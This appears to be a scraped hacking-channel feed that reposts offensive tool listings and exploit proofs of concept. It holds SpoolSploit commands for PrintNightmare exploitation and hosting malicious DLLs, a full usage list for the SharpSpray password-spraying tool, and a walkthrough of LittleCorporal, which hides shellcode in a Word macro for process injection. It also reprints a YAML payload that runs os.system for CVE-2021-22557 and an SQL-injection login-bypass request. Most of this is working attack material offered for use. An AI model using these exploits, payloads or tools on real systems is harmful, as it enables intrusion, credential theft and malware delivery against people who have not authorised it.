Hello guys👋👋 ,Prajit here from the BUG XS Team , recently I got a valid Stored XSS-P2 via QR Code on a Bugcrowd private program, in this…Continue reading on Medium » (https://sapt.medium.com/stored-xss-non-privileged-user-to-anyone-using-qr-code-dfeb0bd98a5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My first valid bug of hackerone
https://medium.com/@jagannathrajput2003/my-first-valid-bug-of-hackerone-2fab84e05a2c?source=rss------bug_bounty-5

Hi my name is jagannath mohanty .i want to tell you my first bug of hackerone firstly in starting i got many duplicate at least 25 or more…Continue reading on Medium » (https://medium.com/@jagannathrajput2003/my-first-valid-bug-of-hackerone-2fab84e05a2c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
SpoolSploit - A Collection Of Windows Print Spooler Exploits Containerized With Other Utilities For Practical Exploitation

https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/w640-h390/SpoolSploit_1_SpoolSploit-Usage.png A collection of Windows print spooler exploits containerized with other utilities for practical exploitation. SummarySpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicious DLLs on endpoints with full system access. https://1.bp.blogspot.com/-RH9Wnu2YiuQ/YVi9OZW06YI/AAAAAAAAvWg/V0vRolVeGJAW1XjzaLGce7zf532DLrrQACNcBGAsYHQ/w640-h390/SpoolSploit_1_SpoolSploit-Usage.png Getting StartedAs of the release date the SpoolSploit Docker container has been tested successfully on the latest versions of MacOS, Ubuntu Linux, and Windows 10.

Although not required, if you would like to host malicious DLLs or conduct credential relay attacks, all within the SpoolSploit container, you should ensure port 445 is not in use on the host running Docker. This is most prevalent when running this container on a Windows host, as it uses port 445 by default. If disabling port 445 on your host is not practical, that is okay! You can simply run the docker container in a virtual machine that has the network adapter configured in bridge mode. This will allow for serving malicious DLLs and relay credentials. If you only want to serve malicious DLLs, you could simply host the DLLs on an anonymous access share on your host OS or a compromised server share. Create and access the SpoolSploit Docker container1. Clone this repository git clone https://github.com/BeetleChunks/SpoolSploit 1. Build the SpoolSploit Docker container image cd SpoolSploit
sudo docker build -t spoolsploit . 1. Create and start the SpoolSploit Docker container sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest 1. Attach to the container sudo docker exec -it spoolsploit /bin/bash Command-line Usageusage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD

optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:SpoolSample - Capture and relay Windows machine account credentialsThe SpoolSploit Docker container includes Responder for relaying machine account hashes obtained from executing the spoolsampleattack in SpoolSploit. As several great articles exist detailing the process of relaying privileged machine account credentials for privilege escalation, I will not go into those details here. https://1.bp.blogspot.com/-9iR_vZDcp-8/YVi9c9w_qrI/AAAAAAAAvWk/conVpwxj6zgRd1O4kRGrz-e5xu3jTjLLgCNcBGAsYHQ/w640-h522/SpoolSploit_[...]

___________________________
@hacking_Attack
@Hacking_Video

2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.

The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample
* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.
* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bug Bounty CTF as a Bank/Financial infrastructure

I know this is off the topic from this subreddit but I have an interesting question to ask. So I was wondering about making a Bank/Financial system based on Bug Bounty for fun. And I am interested in your life scenario if u had one. Just the concept of what can be implemented or what kind of "vulnerabilities" and "exploits" can be implemented to make the CTF interesting. Thank you in advance.

submitted by /u/rubenamizyan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
SharpSpray : Active Directory Password Spraying Tool. Auto Fetches User List And Avoids Potential Lockouts

SharpSpray is a C# port of Domain Password Spray with enhanced and extra capabilities. This tool uses LDAP Protocol to communicate with the Domain active directory services.

Features

* Can operate from inside and outside a domain context.
* Exclude domain disabled accounts from the spraying.
* Auto gathers domain users from the Active directory.
* Avoid potential lockouts by excluding accounts within one attempt of locking out.
* Avoid potential lockouts by auto-gathering domain lockout observation window settings.
* Compatible with Domain Fine-Grained Password policies.
* Custom LDAP filter for users, e.g. (description=admin)
* Delay in seconds between each authentication attempt.
* Jitter between each authentication attempt.
* Support a single password or a list of passwords.
* Single file Console Application.

Usage

Command Line Args

SharpSpray.exe –help
-v, –Verbose Show verbose messages.
-u (Optional) Username list file path. This will be
automatically fetched from the active directory if not specified.
-p A single password that will be used to perform the password spray.
-k, –pl (Optional) Password List file path.
-d (Optional) Specify a domain name.
-m Use this option if spraying from a host located outside the Domain context.
-q, –dc-ip Required when the option ‘m’ OutsideDomain is checked
-x Attempts to exclude disabled accounts
from the user list (Not supported with the option -m)
-z Exclude accounts within 1 attempt of
locking out (Not supported with the option -m)
-f Custom LDAP filter for users, e.g. “(description=admin)”
-o A file to output the results to.
-w Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute)
-s (Optional) Delay in seconds between each authentication attempt.
-j (Optional) Jitter in seconds.
–Force Force start without asking for confirmation.
–get-users-list Get the domain users list from the active directory.
–show-examples Get domain users list from the active directory.
–show-args Show command line args
–help Display this help screen.

Usage Examples

SharpSpray.exe -v -x -z –pl password.txt
SharpSpray.exe -x -z -u users.txt –pl psswd.txt
SharpSpray.exe -x -z -u users.txt -p Passw0rd!
SharpSpray.exe -x -z -s 3 -j 1 -u users.txt -k psswd.txt -o sprayed.txt
SharpSpray.exe -w 32 -m -d DC-1.local –dc-ip 10.10.20.20 -u users.txt –pl psswd.txt
SharpSpray.exe -w 32 -s 3 -j 1 -m -d DC-1.local –dc-ip 10.10.20.20 -u users.txt –pl psswd.txt
SharpSpray.exe –get-users-list
SharpSpray.exe –get-users-list > users.txt
PS> .\SharpSpray.exe –get-users-list | Out-File -Encoding ascii users.txt

Fetching Only The Users List From The Active Directory

The following command will fetch domain users and prints the list to the console.

SharpSpray.exe -x -z –get-users-list
-x: Exclude disabled accounts from the user list.
-z: Exclude accounts within 1 attempt of locking out.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
LittleCorporal : A C# Automated Maldoc Generator

LittleCorporal accepts a user-supplied argument for a process to inject into on a remote machine, in which you plan to execute the malicious Word document on, and also accepts a path to a local shellcode file stored in .binformat – such as a Beacon Stageless shellcode blob on the machine you are running LittleCorporal from. So, if you would like to use the maldoc generated from this project, you will need to specify an already running process on the machine you intend to run the maldoc on (be it the local machine or a different machine. explorer.exeis always going to have one instance, so use this if you do not care about which process you inject into).

LittleCorporal embeds the shellcode and the target process name into Loader.cs, compiles Loader.cson the fly into a .NET .exeartifact, and then utilizes thread hijacking to perform remote process injection. The .NET .exeartifact, which is the thread hijacking loader, is sent through Donut to generate position independent shellcode, which will execute the .exe. The shellcode generated by Donut is then base64 encoded, a Word document is generated, and the final Donut blob is stored in an InlineShape.AlternativeText Word property, which is able to hold the entire payload. This is done by inserting an image (currently a blank image, giving the document a “blank” look) property into the Word document, as alternative text on the image, which contains the payload. LittleCorporal then leverages a VBA “template”, contained in this project as a text file, and injects this Macro into the newly generated Word document. The Macro is named autoopen, so it opens upon the document opening, and then is configured to extract the value of the alternative text of the previously generated image, which contains the final payload, base64 decodes it, and finally uses Windows API calls, in VBA, to perform local injection into Word. In essence, this project uses a simple “loader” in VBA to perform local injection into Word, which is a bit less scrutinized than remote process injection, and then uses execution from the simple local injection injection to execute the Donut shellcode, which is another loader that performs thread hijacking for the final remote process injection of the user-supplied shellcode into the user-specified process. This is all done in an automated fashion, including generation of the Word document. Requirements and Limitations

* LittleCorporal assembles the .NET thread hijacking artifact using .NET v2. Please make sure .NET v2 is installed on the machine you are generating the Word document with (make sure C:\Windows\Microsoft.NET\Framework64\v2.0.50727\exists) and on the target machine you plan to run the document on.
* You must also have Office installed on the machine you plan on running LittleCorporal.exeon. This is because LittleCorporal needs to interact via COM with Word. Please also note that the generated Word doc pulls down a blank image from the internet – meaning you will need to have internet access on the computer you run LittleCorproal with and on the remote machiny you plan to detonate the Word doc on.
* Unfortunately, LittleCorporal can only be used with 64-bit versions of Word. Why is this? Only a 64-bit system can identify structures used in the thread hijacking loader capability – such as a 64-bit CONTEXTstructure, which has 64-bit specific data types. This is because thread hijacking is currently only supported on 64-bit systems, as it requires custom shellcode which adheres specifically to the __fastcallcalling convention. I do not plan to implement a 32-bit version of the thread hijacking capability, but if there is eventually a pull request for 32-[...]

___________________________
@hacking_Attack
@Hacking_Video

bit support, as many installations of Microsoft Word are 32-bit, I would not totally count this out of the realm of possibility. It currently shouldn’t be a big fix from a logical perspective, this issue becomes the burden and hassle of maintaining track of the stack when moving from __fastcallto __stdcalland computing new offsets. This isn’t complex from a technical perspective, but is a bit arduous.
* The thread hijacking code first performs a check to see if the machine executing the Word document is domain joined. If running on a non-domain joined machine, please edit this line of code to bool FUNC1 = true;before running LittleCorporal.exeto generate a Word document Recommendations

If you plan on using this project for active red team operations, please consider setting the “Exit” functionality of your shellcode to perform a “clean” exit with a thread exit, instead of completely killing the process in which the shellcode resides in. This can be configured with msfvenom via EXITFUNC=thread, and can also be configured in Cobalt Strike as such via Aggressor. Usage

* YOU MUST FETCH THE ENTIRE PROJECT IN ORDER TO USE! LittleCorporal uses relative paths for additional resources, such as Donut.
* Once obtaining the entire project, change your working directory to the bin\Releasedirectory (cd C:\Path\to\LittleCorporal\bin\Release). It is recommended that if you choose to re-compile this project that you use a Release build instead of a Debug build.
* Specify the path to your shellcode file on the machine you are executing LittleCorporal.exefrom and the already running process on the machine which you would like to execute the Word document on. (LittleCorporal.exe C:\Path\To\Shellcode.bin explorer.exe)
* LittleCorporal will then output the path to the final Word document
* To “clean” the Artifacts directory, use the following command: LittleCorporal.exe cleanDownload

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Finding Sensitive Data Leaks In Code Using ShiftLeft CORE

https://cdn-images-1.medium.com/max/2600/0*oitTUviLa1UHgBUI
Getting started with a source code review using ShiftLeft CORE

Continue reading on ShiftLeft Blog »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Google SLO-Generator 2.0.0 Code Execution

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Google SLO-Generator versions 2.0.0 and below suffer from a code execution vulnerability.

MD5 | 7501ed60c77636b8e341c9d98a19821f

Download
# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution
# Date: 2021-09-28
# Exploit Author: Kiran Ghimire
# Software Link: https://github.com/google/slo-generator/releases
# Version: <=
# Tested on: Linux
# CVE: CVE-2021-22557

##############################################################################

*Introduction*:
Is a tool to compute and export Service Level Objectives (SLOs), Error
Budgets and Burn Rates, using configurations written in YAML (or JSON)
format.

##############################################################################

*POC:*
1. pip3 install slo-generator==2.0.0
2. 2. Save the below yaml code in a file as exploit.yaml.
!!python/object/apply:os.system ["id;whoami"]
3. Run the below command
slo-generator migrate -b exploit.yaml
##############################################################################

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows/x86 Bind TCP Shellcode

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Online College Entrance Exam System 1.0 SQL Injection

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Simple Online College Entrance Exam System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 13ddfc3db5cf5a6c83afdfffc8bd719f

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Mevlüt Yılmaz
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/entrance_exam/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /entrance_exam/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/entrance_exam/admin/login.php
Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n

username=admin'+or+'1'%3D'1&password=anything

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video